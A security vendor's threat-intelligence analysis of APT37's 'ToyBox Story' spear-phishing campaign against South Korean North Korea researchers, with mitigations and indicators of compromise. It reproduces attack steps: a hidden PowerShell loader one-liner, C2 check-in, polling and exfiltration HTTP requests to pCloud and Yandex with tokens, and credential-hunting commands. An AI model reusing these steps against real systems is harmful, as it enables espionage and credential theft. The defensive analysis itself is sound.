Harpoon Pierces National Security Think Tank: Full-Link Technical Analysis of APT37's 'Operation ToyBox Story'

Author: Cyritex Security Labs

Executive Summary

APT37, a North Korean state-sponsored hacking group, launched a sophisticated spear-phishing campaign dubbed "ToyBox Story" targeting multiple North Korea researchers in South Korea. Using a genuine national security strategy academic forum as a lure, the attackers distributed malicious shortcut (LNK) files via Dropbox, a legitimate cloud storage service, to deploy the multi-stage fileless backdoor RoKRAT (also known as DOGCALL). Using pCloud, Yandex Disk, and Dropbox as Command and Control (C2) infrastructure, and finally exfiltrating data with three-layer encryption, they constructed a complete attack chain from phishing emails to intelligence theft.

Flowchart of the APT37 Attack

1. Attacker Profile: Who is APT37

APT37 (aliases: Reaper Group, Ricochet Chollima, Group 123, TEMP.Reaper) is an advanced persistent threat group widely recognized by the security community as being sponsored by the North Korean state, and is assessed to be affiliated with the Reconnaissance General Bureau (RGB). Active since 2012, the group's core mission is to conduct targeted cyber espionage campaigns against South Korean government agencies, military personnel, diplomats, news media, defector communities, and North Korea researchers. In recent years, its targets have expanded to government, defense, and strategic research institutions in Southeast Asia and other regions.

APT37's Four Signature Tactical Characteristics:

• LoTS (Living off Trusted Sites): Leveraging legitimate public cloud storage services like Dropbox, pCloud, and Yandex Disk as C2 infrastructure to blend malicious communications into normal HTTPS traffic, greatly evading detection by traditional security appliances based on IP/domain blacklists.

• Weaponized LNK Files: Continually iterating the abuse of Windows shortcut files (.lnk) to embed PowerShell commands and trigger multi-stage fileless attack chains.

• RoKRAT / DOGCALL Toolset: A self-developed backdoor framework featuring screenshot capture, keylogging, file theft, anti-VM detection, and cloud API exfiltration. Its core module code has remained stable with low update frequencies over the long term.

• Precise Social Engineering: Based on thorough pre-reconnaissance OSINT, highly customizing lure content targeting the professional background and topics of interest of the victims.

2. Attack Origin: Two Well-Designed Phishing Emails

Case A: Disguised as articles related to North Korean soldiers deployed to the Russian battlefield (T1566.001 – Phishing: Spearphishing Attachment)

On March 8, 2025, the attacker impersonated a well-known South Korean expert in North Korean studies and sent the first spear-phishing email to potential targets.

• Email Subject: 러시아 전장에 투입된 인민군 장병들에게.hwp (To the Soldiers of the People's Army Deployed to the Russian Battlefield.hwp)

• Social Engineering Logic: Accurately leveraging the hot international topic of "North Korean soldiers deployed to the Russian battlefield," which was highly attractive to researchers, journalists, and policy analysts tracking North Korean activities.

• Visual Disguise: The attachment icon used Naver Mail's (South Korea's largest email provider) standard HWP file icon, appearing almost identical to a real Hangul document. However, clicking the "attachment" redirected the victim to a Dropbox download link.

• Actual Content: The Dropbox link pointed to a ZIP archive of the same name. Once extracted, it contained only a single .lnk shortcut file (size: 824,819 bytes).

Case A Phishing Email Screenshot (Email body and attachment icon)

Case B: Disguised as an invitation to a national security strategy academic forum (T1566.001 – Phishing: Spearphishing Attachment)

On March 11, 2025, the attacker launched a second wave of attacks in the name of a real South Korean national security strategy research institution, targeting a publicly promoted academic conference.

• Lure Subject: "Trump 2.0 Era: Prospects and South Korea's Response"—The attacker deliberately used this real event to give the lure complete credibility.

• Distribution Mechanism: Identical to Case A—Naver Mail icon disguise + Dropbox link.

• Actual Content: The ZIP archive contained two files—a harmless JPG conference poster (used to allay victim suspicion) and a malicious LNK shortcut file (size: 12,145,612 bytes).

Case B Conference Invitation Email Screenshot

Common conclusion of the two cases: Although the lure contents were completely different, the two LNK files ultimately delivered the exact same ultimate payload—RoKRAT. The meticulous social engineering layer is the entry ticket; the true technical complexity lies in the subsequent attack chain triggered by the LNK file.

3. First-Stage Payload: PINELINK — The Key to Unlocking the Backdoor across Multiple Stages

PINELINK is an LNK dropper used by APT37 (also tracked as APT-U6264 / UNC6264) that utilizes PowerShell to deploy multi-stage payloads while dropping lure documents to lower victim vigilance.

3.1 LNK File Weaponization Mechanism (T1204.002 – Malicious File)

Windows shortcut (.lnk) files support embedding arbitrary command-line content in the "target arguments" field. The LNK file used by PINELINK embedded an obfuscated PowerShell command in this field. When the victim double-clicks the file in File Explorer, the Windows Shell automatically executes the command without requiring any privilege escalation, making the legitimate user interaction the attack trigger.

Screenshot of Embedded Command in LNK File

Overall Structure Diagram of Malicious LNK File

3.2 File Dropping and Extension Obfuscation (T1059.001 – PowerShell, T1027 – Obfuscated Files or Information)

After LNK execution, the PowerShell command quietly drops the following four files in the victim's %TEMP% directory:

Key Obfuscation Technique (T1027 – Obfuscated Files or Information): sharke.bat is not directly written to the disk with a .bat extension. The attacker splits the extension string into individual characters and dynamically reassembles them at runtime using + concatenation to bypass static detection rules based on file extensions.

Content Display of Lure HWP Document Used as Visual Camouflage

3.3 Three-Stage Loading Chain: Fileless Leap from Disk to Memory (T1027 – Obfuscated Files or Information, T1055 – Process Injection)

[Victim double-clicks LNK] ─→ PowerShell executes (-windowstyle hidden) │ ├─ Drops sharke.bat + elephant.dat + caption.dat + Lure Document │ ▼ sharke.bat (First-stage Loader) │ ▼ PowerShell reads elephant.dat as a byte stream → UTF8 Decodes → ScriptBlock::Create() → Invoke-Command │ ▼ elephant.dat script (Second-stage Loader) Decrypts caption.dat in memory using XOR key │ ▼ VirtualAlloc allocates executable memory buffer Writes decrypted PE file (DOGCALL/RoKRAT) │ ▼ CreateThread → Shellcode executes in memory → C2 online

The entire execution chain has only one design goal: prevent the final malicious executable code from ever hitting the disk as a file. Each stage of the payload is stored as an encrypted data file, decrypted and executed in memory by the parent PowerShell script, completely evading traditional AV detection that relies on file feature hashes.

Flowchart of PowerShell Command Dynamically Converting Data into Shellcode for Execution

Cyritex Intelligent Security Validation Platform – PINELINK Sandbox Execution Action

4. Second-Stage Payload: DOGCALL — A Spy Backdoor Hidden in Memory

DOGCALL (also known as RoKRAT) is the core backdoor tool of APT37. It typically does not exist as a complete PE file on disk, but is decrypted by the parent loader and injected directly into memory for execution. Genians compared and analyzed RoKRAT samples from multiple APT37 campaigns and found that its core code structure has remained stable for a long time. APT37 primarily relies on fileless execution methods rather than code updates to evade detection.

4.1 The Complete Chain from elephant.dat to Memory Execution (T1059.001 – PowerShell, T1055 – Process Injection)

Below is the reconstructed key execution sequence (validation rule: Protected Sandbox – Windows, APT-U6264, DOGCALL, Execution, Variant #2):

Step 1: Move encrypted payloads to the TEMP directory

move “C:\Users\Public\Documents\caption.dat” %TEMP% && move “C:\Users\Public\Documents\elephant.dat” %TEMP%

Step 2: Launch 32-bit PowerShell in a hidden window, read elephant.dat as a byte stream, and dynamically construct a ScriptBlock for execution

start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden ` “$stringPath=$env:temp+’\’+’elephant.dat’; $stringByte = Get-Content -path $stringPath -encoding byte; $string = [System.Text.Encoding]::UTF8.GetString($stringByte); $scriptBlock = [scriptblock]::Create($string); Invoke-Command $scriptBlock;”

By dynamically constructing a code block via ScriptBlock::Create(), PowerShell ScriptBlock Logging cannot directly record the plaintext content of the loaded script. This is a common technique used to evade Windows security auditing. Step 3 (Memory Execution): The elephant.dat script decrypts caption.dat (DOGCALL core) in memory using a hardcoded XOR key, injects the decrypted PE file into a newly allocated executable memory buffer, and triggers execution via CreateThread—leaving zero disk footprint. Step 4 (Validate C2 Connection): Confirm if DOGCALL has successfully gone online using the following command

Ipconfig /displaydns

Success is marked by the appearance of api.pcloud.com or cloud-api.yandex.net in the DNS cache, proving that DOGCALL has established a connection with the C2 server.

Screenshot of Code Decrypting PE File Using XOR Logic in Shellcode

RoKRAT Main Function (WinMain) Code Structure and Its System Information Gathering Routine

Cyritex Intelligent Security Validation Platform – DOGCALL Sandbox Execution Action

4.2 Core Spy Capabilities of DOGCALL (T1055 – Process Injection, T1027 – Obfuscated Files or Information)

Once activated in memory, DOGCALL begins executing spy tasks driven by a switch-case instruction structure:

5. C2 Communication: Conducting Espionage Under Legitimate Names (LoTS)

5.1 Why Choose Cloud Storage for C2?

Traditional self-built C2 infrastructure (VPS + custom domains) faces the risk of being quickly flagged by threat intelligence platforms and blocked by firewalls. Attackers' C2 infrastructures are often identified and banned within hours.

The LoTS (Living off Trusted Sites) strategy long employed by APT37 operates on a core logic: hiding malicious communication within massive amounts of HTTPS traffic from legitimate platforms, preventing traditional security appliances based on IP/domain blacklists from intercepting it—no organization is going to block Dropbox or Yandex outright.

In this campaign, DOGCALL simultaneously supported three C2 backends, and its evolution path reflects APT37's continuous engineering efforts:

Historical path: pCloud → Yandex Disk → OneDrive / Google Drive New in ToyBox Story: Dropbox

5.2 Detailed Communication Behavior of Three C2 Backends (T1071.001 – Web Protocols)

① Initial Check-in — pCloud (validation rule: Command and Control – APT-U6264, DOGCALL, Check-in, Variant #1) Once online, DOGCALL first verifies C2 connectivity using a listfolder request via the pCloud API:

GET /listfolder?path=/ HTTP/1.1 Host: api.pcloud.com Authorization: Bearer JINs7ZDb7OvfloXrYZt8wH7kZ7LjAjGKBckj4kTgWSBiDSVWF1fKX User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

Note the User-Agent field: DOGCALL masquerades as a Googlebot crawler to initiate requests, further lowering the suspicious score of this traffic on network security appliances. ② Command Polling — Yandex Disk (validation rule: Command and Control – APT-U6264, DOGCALL, Command Polling, Variant #1)

DOGCALL continuously polls the root directory of Yandex Disk at fixed intervals, checking for files with specific names to "collect" attacker instructions:

GET /v1/disk/resources?path=/&limit=500 HTTP/1.1 Host: cloud-api.yandex.net Authorization: OAuth y0_AgAAAABqpA5t… User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)

When attackers need to issue commands, they only need to upload files with specific content to a designated path on Yandex Disk. DOGCALL periodically "polls and retrieves" instructions via directory list requests with limit=500. The network footprint of the entire command channel is identical to normal user access to Yandex cloud storage. ③ Data Exfiltration — Yandex Disk Two-Step Upload (validation rule: Command and Control – APT-U6264, DOGCALL, Data Exfiltration, Variant #1)

Before exfiltrating data, DOGCALL first requests a one-time upload address:

GET /v1/disk/resources/upload?path=/Comment/6DAF24DF1F4AD773&overwrite=true Host: cloud-api.yandex.net

It then sends a PUT request to the returned temporary URL, delivering the encrypted data package to the attacker's exclusive directory.

Disassembly Screenshot Showing Hardcoded Dropbox Access Token in DOGCALL Sample

Infrastructure Correlation Diagram Between Multiple APT37 Campaigns

Cyritex Intelligent Security Validation Platform – DOGCALL Yandex Disk Command Polling

5.3 Attribution Clue: Attackers Hiding Behind Legitimate Platforms

Genians conducted a deep tracking of the hardcoded Dropbox Access Tokens in the DOGCALL samples. All registered emails for these tokens were Russian Yandex mail accounts (e.g., rolf.gehrung@yandex.com). LinkedIn searches based on the usernames returned some public social profiles matching these names, but researchers noted these identities might involve identity theft or impersonation, and investigations are ongoing. In addition, the attackers' network communications were obfuscated using NordVPN or AstrillVPN, the latter of which was also mentioned in Google's threat intelligence report on North Korean IT workers.

Screenshot of LinkedIn Account Profile Matching Yandex Mail Username

6. Land and Loot: System Reconnaissance and Credential Theft

Once DOGCALL is online, attackers do not rush to move laterally on a large scale, but first perform systematic reconnaissance of the target environment while targeting high-value credentials.

6.1 System Information Discovery (T1614 – System Location Discovery, T1082 – System Information Discovery)

Language and Region Discovery (validation rule: Host Command Line – Windows, Gather Detailed System Location and Language Information — T1614 – System Location Discovery) DOGCALL queries the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language and calls multiple native Windows APIs (GetLocaleInfoW, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList, etc.) to get system language and regional settings. This behavior has a clear strategic intent: APT37 decides whether to proceed with the attack based on the victim's language environment. If Korean or English (typical characteristics of analysis/honeypot environments) is detected, DOGCALL terminates execution immediately. This protects the sample from analysis and avoids wasting attack resources. Time Information Discovery (validation rule: Host Command Line – Get Current System Date — T1082 – System Information Discovery) Obtains the current system time via PowerShell, writes it to a temporary file in dd-MM-yyyy_sectest.txt format, and subsequently clears all traces using Remove-Item -Recurse -Force:

powershell.exe -c “New-Item -ItemType File -Force -Path ‘C:\Users\Public\…’ -Name ((Get-Date).ToString(‘dd-MM-yyyy’) + ‘_sectest.txt’)”

CPU Hardware Information (validation rule: Host Command Line – Windows, Get CPU Information via WMIC — T1082 – System Information Discovery)

Queries CPU models, core counts, max clock speeds, and other hardware characteristics via WMIC for environment identification and anti-sandbox checks:

wmic cpu get caption, deviceid, name, numberofcores, maxclockspeed, status

6.2 Credential Access (T1552.001 – Credentials in Files, T1552.002 – Credentials in Registry, T1119 – Automated Collection)

Plaintext Credentials Scanning in File System (validation rule: Host Command Line – Plaintext Sensitive Data Discovery — T1552.001 – Credentials in Files; T1083 – File and Directory Discovery) Uses the findstr command to recursively search disk files for sensitive keywords, looking for passwords, keys, or configuration information saved in plaintext:

findstr /s /d:C:\Users\Public\Documents /m juicypassword *

In actual attack scenarios, attackers search a broader scope of keywords (password, secret, api_key, token, etc.) across config files, scripts, logs, and code repositories, which often directly hit internal system credentials saved in plaintext on development machines or operations workstations. Outlook Registry Credential Theft (validation rule: Host Command Line – URSNIF, Gather Data from Microsoft Outlook Registry Keys — T1552.002 – Credentials in Registry; T1119 – Automated Collection)

Traverses Outlook configuration registry keys for all versions from Microsoft Office 11.0 to 16.0 to extract email account credentials:

reg query “HKCU\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook” reg query “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook”

For attack scenarios targeting government agencies, research institutions, or corporate executives, Outlook account credentials are of extremely high value. They can be used not only to continuously monitor communications, but also as a springboard for further spear-phishing attacks to initiate highly credible Business Email Compromise (BEC).

7. Data Exfiltration: Three-Layer Encryption, Safe Departure

DOGCALL packages all gathered intelligence data (system info, screenshots, process lists, keystroke logs, credentials), applies three layers of encryption, and uploads it to an attacker-controlled cloud storage account (T1020 – Automated Exfiltration; T1537 – Transfer Data to Cloud Account; T1041 – Exfiltration Over C2 Channel).

Encryption Flow (Inside-Out)

Screenshot of Hardcoded Fixed 4-Byte Magic Header (0xFA 0xDE 0xAD 0xBA) in RoKRAT

Screenshot of XOR Encryption Routine Using PRNG Random Key

AES-CBC-128 Encryption Routine Screenshot

Raw Data (System info + screenshots + credentials, etc.) │ ▼ [First Layer] Appends fixed 4-byte magic header: 0xFA 0xDE 0xAD 0xBA → Role: Identifies data format and enables attackers to use known plaintext to assist decryption │ ▼ [Second Layer] XOR Random Obfuscation: Performs XOR operation using a random 4-byte key generated by PRNG → Since the fixed header is known, attackers can quickly recover the XOR key and reverse decrypt it │ ▼ [Third Layer] Strong AES-CBC-128 Encryption → The AES key itself is encrypted via RSA and prefixed to the encrypted data header │ ▼ HTTP PUT Request → Yandex Disk unique one-time path (HTTPS / 443)

The final upload traffic (Cyritex Intelligent Security Validation Platform validation rule: Command and Control – APT-U6264, DOGCALL, Data Exfiltration, Variant #1) carries the Authorization: OAuth <token> header and Googlebot User-Agent, fully transmitted via HTTPS port 443. At the network layer, this is identical in behavior to any normal user uploading files to Yandex Disk, showing anomalies only in the API path (/Comment/<UUID>) and request frequency.

8. Mitigation and Detection Guide

Mail Gateway Layer

• Block LNK-in-ZIP: Automatically intercept or quarantine emails containing .lnk files inside archive attachments (.zip/.rar/.7z), which was the sole entry point of this attack chain.

• Detect Cloud Link Attachments: Identify attachment styles in the email body that disguise themselves as Naver Mail or mainstream email client icons but actually point to external links like Dropbox / Google Drive / pCloud.

Endpoint Protection Layer (EDR Preferred)

Key Conclusion: Detection of fileless attacks must rely on memory behavioral analysis rather than file features. Traditional AV relying on file hashes becomes almost entirely useless after the "file execution" phase of this attack chain. Process tree analysis and memory write anomaly alerts in EDR logs are the core means of detecting this attack.

Network Layer

• LoTS Blind Spot Tips: Merely connecting to target domains (e.g., cloud-api.yandex.net) cannot determine if the access is malicious; context analysis combined with API request paths is required.

  • High-risk path examples: /listfolder (pCloud), /v1/disk/resources (Yandex) appearing on non-server endpoints.

  • Anomalous User-Agent: Terminal devices sending Googlebot User-Agent requests should trigger immediate investigation.

• DNS Anomaly Monitoring: The appearance of api.pcloud.com and cloud-api.yandex.net in the enterprise network without any legitimate business need should be included in high-risk DNS resolution alert lists.

Threat Hunting Suggestions

Combine the following IOCs and behavioral characteristics to retrospectively check historical logs and determine if the organization has been silently penetrated by such attacks:

• Look for timeframes where both .dat and .bat files exist simultaneously in the %TEMP% directory.

• Search DNS logs for resolution records of api.pcloud.com and cloud-api.yandex.net.

• Search process creation logs for launches of PowerShell using the SysWow64\WindowsPowerShell path (the attacker deliberately used the 32-bit version).

Appendix: Indicators of Compromise (IoC)

File Hashes (MD5)

81c08366ea7fc0f933f368b120104384 723f80d1843315717bc56e9e58e89be5 7822e53536c1cf86c3e44e31e77bd088 324688238c42d7190a2b50303cbc6a3c a635bd019674b25038cd8f02e15eebd2 beeaca6a34fb05e73a6d8b7d2b8c2ee3 d5d48f044ff16ef6a4d5bde060ed5cee d77c8449f1efc4bfb9ebff496442bbbc 2f431c4e65af9908d2182c6a093bf262 7cc8ce5374ff9eacd38491b75cbedf89 8f339a09f0d0202cfaffbd38469490ec 46ca088d5c052738d42bbd6231cc0ed5

C2 IP Addresses

89.147.101[.]65 89.147.101[.]71 37.120.210[.]2

Attacker-Related Emails

rolf.gehrung@yandex.com ekta.sahasi@yandex.com gursimran.bindra@yandex.com sneha.geethakrishnan@yandex.com tanessha.samuel@gmail.com tianling0315@gmail.com w.sarah0808@gmail.com softpower21cs@gmail.com sandozmessi@gmail.com tiger.man.1999@mail.ru navermail_noreply@mail.ru

All IoCs and attacker-related information mentioned in this article originate from public threat intelligence reports published by Genians Security Center. IP addresses have been defanged with [.] to prevent accidental triggers. Attacker email addresses are for intelligence reference only and should not be used for active communication.